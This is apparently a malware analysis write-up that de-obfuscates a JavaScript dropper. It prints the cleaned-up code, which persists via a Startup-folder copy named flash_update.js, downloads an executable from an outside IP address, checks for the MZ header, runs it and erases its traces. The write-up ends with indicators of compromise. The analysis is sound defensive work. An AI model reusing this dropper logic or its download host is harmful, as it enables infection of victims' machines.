Javascript Malware Dropper
Reverse engineering a well obfuscated javascript malware dropper that retrieves a malicious binary payload.
19360611_23f5eaf84cedb0998e31b34a5f81e4ef.js
Summary
Sample is a reasonably well obfuscated piece of javascript containing malicious code that attempts to evade automated detection, and then downloads a malicious binary onto the victims computer.
Affected Devices
- Windows Devices Running Internet Explorer
Primary Function
- Downloads and executes a binary file from the windows temp folder
Overview
- Deletes original js file and moves to temp folder
- Lots of obfuscation
- Pretends to be corrupted, but actually sleeps and continues execution
- Downloads a malicious binary using activexobject
- Binary name is randomised every time
- Checks that the retrieved file is an MS-DOS binary (exits if check fails)
- Executes Malicious binary
- Cleans itself up, deletes original js and retrieved binary
- Resets variable values to junk values after execution, making it somewhat harder to auto analyse
- Need to put breakpoints before variables are reset/scrubbed
Anti-Analysis Tactics
- Heavy Obfuscation
- Moves original javascript file
- Multiple Sleep Functions (May help evade automated sandboxes with timeouts)
- Checks that the retrieved file is an ms-dos executable, and not a dummy file provided by the operator/sandbox.
- Deletes itself and cleans up, leaves no files on disk if execution completes
- Resets variables after use, so that breakpoints have to be more carefully set.
Source File
Looking at the files contents, it mostly looks like this. values are assigned in an array, and are then immediately referenced for use. Mostly just makes it harder to read.
De-Obfuscation
There are a few things to deal with, before we can get into the real analysis
- Get rid of the unicode escaped characters eg the “\u0080” style stuff
- Get rid of the arrays, so that we are just left with the referenced value.
- Eg get rid of all the “{eci3:’\u0018”}” Style stuff
Removing Unicode
Using cyberchef, remove the unicode characters with the “unescape unicode characters” function.
This successfully gets rid of the unicode, as can be seen below
Removing the array obfuscation
I was able to remove the weird arrays using the following find/replace recipe, in combination with some regex. This captures the entire array and reference, and then replaces it with the assigned value within the array. the “$1” references the 1st capture group within the regex.
There is now a semi readable script, and we can start to see the beginning of some IOC’s
Making the code readable
The leftover code is quite a mess, I like to use a code-beautify to add some useful whitespace. There is another code beautify for javascript, but for some reason it tends to break on javascript malware. The Generic version seems to work fine.
Now the code looks much nicer, and we can start to get a feel for the “flow” of the code.
Also note that we have a clear IOC within the code.
Search and Replace
The code is now fully readable, however, it’s difficult to fully understand since there is still one layer of obfuscation. See below for what I mean.
The best way to deal with this, is to manually do a search and replace in your favorite editor, notepad++ and visual code work great for this.
This is quite a slow and somewhat painful process, but is a necessary step in de-obfuscating javascript code.
You could try to script this, but it’s a painful process. Be prepared to write some chunky regex. I was able to get a semi-functioning script, but ended up doing it manually due to inconsistencies in the script output. I’ll include a copy of it somewhere.
Final De-Obfuscated Script
obj_more = null;
obj_considered = null;
obj_packages8 = null;
obj_better = null;
obj_Accuracy = null;
obj_alike1 = null;
obj_large = null;
obj_running1 = null;
obj_capture5 = null;
obj_servers105 = null;
obj_they7 = null;
obj_size = null;
var ActXN = this[ActiveXObject];
var WSSS12 = this[WScript];
var obj_complex2 = WScript[CreateObject](WScript.Shell);
var fso12 = new ActiveXObject(Scripting.FileSystemObject);
var obj_informationsensing = new ActiveXObject(ADODB.Stream);
var obj_trends6 = new ActiveXObject(Shell.Application);
var temp12 = WScript[CreateObject](WScript.Shell)[ExpandEnvironmentStrings](TEMP);
var obj_medicine = temp12 + Mathfloor((Math[random]() * (100)) + 1) + .exe;
#let's assume the above resolved to "*windows/temp*/23482819.exe"
var obj_time = new ActiveXObject(Msxml2.ServerXMLHTTP);
var body12 = \aflash_update.js;
var startupFolder = ActiveXObject(Shell.Application)[NameSpace](7);
var flagme = false;
var obj_including = false;
var obj_lead9 = 1;
var filets = null;
var empty12 = '';
var obj_systems7 = WScript[ScriptFullName];
var autor = startupFolder.Self.Path + \aflash_update.js;
var attacker_url = https://217[.]28.218.217/AE5600FFCBCC/q64.php?add=gtyhbncdfewpnjm9oklmnfdrtqdczdfgrt;
if ((WScript[ScriptFullName] != autor) && (false == false)) {
#Malware copies itself to new file named "\aflash_update.js"
#Then removes original copy and sleeps
false = true;
ActiveXObject(Scripting.FileSystemObject)[CopyFile](WScript[ScriptFullName, autor);
ActiveXObject(Scripting.FileSystemObject)[DeleteFile](WScript[ScriptFullName);
WScript[echo](The document is corrupted and cannot be opened);
WScript[Sleep](8000);
}
while (true) {
1 = 1 + 1;
if (1 == 200000000) {
while (true) {
try {
#sets up object to download malware file
ActiveXObject(Msxml2.ServerXMLHTTP)[setOption](3, MSXML);
ActiveXObject(Msxml2.ServerXMLHTTP)[open](GET, attacker_url + &123456.exe, false);
ActiveXObject(Msxml2.ServerXMLHTTP)[send]();
if (obj_time[status] == (200)) {
if (ActiveXObject(Scripting.FileSystemObject)[FileExists](windows/temp*/23482819.exe)) ActiveXObject(Scripting.FileSystemObject)[DeleteFile](*windows/temp*/23482819.exe);
ActiveXObject(ADODB.Stream)[Open]();
obj_informationsensing[Type] = 1;
ActiveXObject(ADODB.Stream)[Write](ActiveXObject(Msxml2.ServerXMLHTTP)[responseBody]);
obj_informationsensing[Position] = 0;
ActiveXObject(ADODB.Stream)[SaveToFile](*windows/temp*/23482819.exe);
ActiveXObject(ADODB.Stream)[Close]();
filets = ActiveXObject(Scripting.FileSystemObject)[GetFile](*windows/temp*/23482819.exe)[OpenAsTextStream](1);
if (ActiveXObject(Scripting.FileSystemObject)[FileExists](*windows/temp*/23482819.exe) && filets[ReadLine]()[substring](0, 2) == MZ) {
#above checks that downloaded file is a binary
false = true;
#execute malicious binary
ActiveXObject(Shell.Application)[ShellExecute](*windows/temp*/23482819.exe, '', '', open, 1);
#deletes malicious javascript file
if (ActiveXObject(Scripting.FileSystemObject)[FileExists](WScript[ScriptFullName])) ActiveXObject(Scripting.FileSystemObject)[DeleteFile](WScript[ScriptFullName]);
WScript[Sleep](4000);
#deletes malicious binary file
if (ActiveXObject(Scripting.FileSystemObject)[FileExists](*windows/temp*/23482819.exe)) ActiveXObject(Scripting.FileSystemObject)[DeleteFile](*windows/temp*/23482819.exe);
}
null[Close]();
}
} catch(e) {}
if (obj_including == true) {
break;
}
WScript[Sleep](70000);
}
break;
}
};
obj_doubled = 204;
obj_cameras5 = 0.328;
obj_data = 0.231;
obj_data = 0.559;
obj_that1 = 87;
obj_hundreds9 = 0.797;
obj_months4 = 0.66;
obj_predictive4 = 522;
attacker_url = 426;
obj_moving7 = 481;
obj_hundreds1 = 442;
obj_capacity1 = 0.447;;
Indicators of Compromise (IOC’s)
- http[s]://217[.]28.218[.]217/AE5600FFCBCC/q64.php?add=gtyhbncdfewpnjm9oklmnfdrtqdczdfgrt
- flash_update.js